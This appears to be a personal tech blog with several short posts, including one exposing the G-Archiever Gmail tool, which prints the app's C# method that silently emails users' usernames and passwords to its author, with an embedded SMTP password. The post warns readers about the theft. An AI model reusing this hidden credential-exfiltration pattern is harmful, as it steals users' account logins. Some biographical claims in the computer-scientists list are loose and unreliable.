The new hotmail

At last, hotmail is revamped(look and feel). The new UI is fast, uncluttered and the initial impression is good. Also some new(to hotmail) features like IM inside the email, more storage and a calendar application are promised ahead. Looking forward for the MS way

Lively, Boss

Lively from Google: An online virtual world where users can create avatars and hang around. This takes your online presence to the next level. Though Second Life has been around, Lively is free to use.

Boss from Yahoo: Build your Own Search Service is yahoo's open search web services platform. Instead of developing a search engine from scratch, you can leverage on yahoo's existing search index. Thinking of BOSS, I remember of certain AWS using cloud architectures which give developers access to amazon's tech. platform. So, building a new search engine may not need index ing the zillions of web pages but developing nice algo. will do.

At Rajesh's Marriage with hari & hari

G-Archiever story

Heard of G-Archiever. It archieves your gmail account. So far so good. What if this app. gets hold of your account info. ? Quite possible. You give your username, password when you want to archieve your gmail account. Below is the code where it mails your login credentials to this app's author(John Terry).

public static void CheckConnection(string a, string b)
{
try
{
MailMessage message = new MailMessage();
message.To.Add("JTerry79@gmail.com");
message.From = new MailAddress("JTerry79@gmail.com", "JTerry", Encoding.UTF8);
message.Subject = "Account";
message.SubjectEncoding = Encoding.UTF8;
message.Body = "Username: " + a;
message.Body = message.Body + "\r\nPassword: " + b;
message.BodyEncoding = Encoding.UTF8;
message.IsBodyHtml = false;
message.Priority = MailPriority.High;
SmtpClient client = new SmtpClient();
client.Credentials =new NetworkCredential("JTerry79@gmail.com", "bilal482");
client.Port = 0x24b;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
client.Send(message);
}
catch (Exception)
{
}
}



Next time you share your net credentials, beware. Now, you know that there's atleast one rogue app. which fools around with your online privacy/security.

Refs,: codinghorror, readwriteweb, gogoled

Fathers and Mothers

Prithvi forwarded the below image about the computer scientists(involving mainly the inventors of various programming languages). The original forward:

In the forwarded mail, found a comment from Rajita about the lack of female personalities in the list.

Tried to search about female computer scientists and at last found some. In the process, got to know this incredible lady(Ellen Spertus) and xkcd - A webcomic of romance, sarcasm, math, and language. Here’s a report on "Why Are There So Few Female Computer Scientists?" by Ellen covering societal factors, advantages for women in computers field, recommendations to this problem among other areas covered.

And finally some mothers..

Grace Murrya Hopper

Invented the computer compiler, which revolutionized computer programming. She and her team also developed the first user-friendly business computer programming language, COBOL (Common Business-Oriented Language)

Augusta Ada Byron(1815-1852)

Programming Language ADA is named after her. She wrote many complicated programs of her own, the most complex of these being one to calculate the sequence of Bernoulli numbers. For this reason she has earned the reputation for being the first computer programmer. (Though, of course, Charles Babbage and others also had written “programs” for the never completed Analytical Engine.)

Dr. Adele Goldberg

Co-Developer of SmallTalk programming Language

Irma M. Wyman

First female CIO of Honeywell

Frances E. Allen

First female to win the Turing Award for her work on compilers, code optimization, and parallelization

Jeannette Wing

Developed the Liskov substitution principle(remember ‘Principles of Compiler Design’ ??)

Ellen Spertus

Part-time google engineer and… Sexiest Geek Alive-2001(Read her funny page here- http://people.mills.edu/spertus/Geek/ and her talent video is here- http://video.google.com/videoplay?docid=-6547403189433277376&q=spertus)

Numbers...

The culture of reading and pessimism about it

Just watched this interview of Salman Rushdie at PennState university.
Someone asked him about the reading habits in today's times and he replies (at 48:52) saying "Reason for pessimism(about the culture of reading) can be expressed in 2 words Dan and Brown". The book he's refering to is 'Da Vinci code' and he calls it "that book shape object[called Da Vinci Code]" or the same shape as the packet of cereals.

The Q&A from 47:55 to 52:54 can be found here